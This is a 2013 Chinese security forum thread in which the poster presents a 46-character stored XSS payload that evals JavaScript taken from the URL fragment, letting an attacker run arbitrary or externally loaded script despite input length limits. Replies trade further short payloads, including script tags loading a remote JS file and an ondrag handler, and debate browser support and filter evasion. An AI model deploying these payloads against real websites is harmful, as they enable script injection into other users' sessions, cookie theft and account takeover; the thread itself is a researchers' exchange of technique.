把储存型XSS变成反射型XSS 突破长度限制

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:08

如果我们遇到了有长度限制怎么办?难道就真的无法利用然后放弃吗?其实我们可以将有限空间发挥出无限的威力。我最近研究了一种 把储存型XSS变成反射型XSS 的思路。但是你输入的地方最少要支持 46 个字符。

代码如下:

<svg/onload=eval(location.hash.split('#')[1])>

将上面这段代码插入至少可以输入46个字符的地方,然后访问

http://example.com/#alert();

或者

http://example.com/#(加载一段外部JS)

即可执行无限长度JS代码 , 缺点就是变成了反射型,好消息是兼容所有浏览器,不会被浏览器的Filter干掉

如果各位看官还有更短的姿势,欢迎共享讨论。

[原文地址]

相关讨论:

1#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-09-17 19:09

乌云知识库里有挺多很短的

Short XSS

2#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:12

@VIP 那个我看过了,挺不错的

3#

国士无双 (你这个是跟我闹呐?) | 2013-09-17 19:52

@VIP 不错!

4#

0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 19:53

46个字符还用得着那样搞么。。

5#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:56

@0x0F">0x0F 莫非大牛还有比46个字符能加载外部JS还要短的姿势?

6#

F1n9er (///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////) | 2013-09-17 19:56

我就想知道20个字符以内的怎么办

7#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 19:57

@F1n9er 我才疏学浅暂未想到

8#

0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 20:38

@LaiX @F1n9er 怎么看文章不看回复么。

还有46个字符直接用script加载吧?

<script src=//x.xx

19

9#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 20:55

are you kidding me? 你自己先试试再说吧。

10#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 20:56

@0x0F">0x0F .

11#

0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 21:01

@LaiX 你可以试试。别忘了后面有空格

12#

beastk | 2013-09-17 21:21

46个字符了差不多了吧,<script/src=http://test.com/js.js></script>,这个才43个字符,配上短URL,还有你这个针对IE6-8有用不?

13#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-17 21:24

@beastk 你这个有个缺点如果过滤script , 另外那个 IE6-8可以的

14#

银冥币 (养成了一个习惯.见框就x,见站就x,我爱X?) | 2013-09-17 21:25

@beastk @0x0F">0x0F LaiX提出的这个是一个设想,目的只是讨论去完善它而已不用太较真

15#

0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-17 21:38

实践是检验真理的唯一标准。

FF测试有效,其他浏览器自测

16#

beastk | 2013-09-17 22:49

IE6-8你确定有效么,测试了么

17#

乌帽子 (儿啊,到大城市切莫乱搞女人啊,染上什么病回来传染给) | 2013-09-17 22:54

location.hash不错的思路

18#

mramydnei | 2013-09-18 03:59

@F1n9er

如果只论短的话,我觉得我这个是最短的

<b/ondrag=alert()> 没有win环境,借朋友的小vps试了一下,IE可执行 以上版本就不知道了。

19#

mramydnei | 2013-09-18 04:00

@F1n9er 才发现漏字了 IE6可执行,以上版本未测试。

20#

mramydnei | 2013-09-18 04:19

@ F1n9er

又丢三落四的了。少了个东西。

<b/ondrag=alert()>x

21#

0x0F (苍井空与孙悟空的故事.mp4) | 2013-09-18 06:26

@LaiX 程序员只会过滤script么。

22#

小森森 | 2013-09-18 09:01

要是有jQuery就是$.getScript(url)了……

23#

小九 | 2013-09-18 15:13

有点长

24#

iv4n | 2013-09-18 15:38

我觉得lz重点不是短,而是#, 其实这个#,很有用,首先不会保存到服务器,而且能绕过检测。

25#

LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2013-09-18 18:18

@iv4n 他们都在想尽一切办法反驳我 只有你发现了我的初衷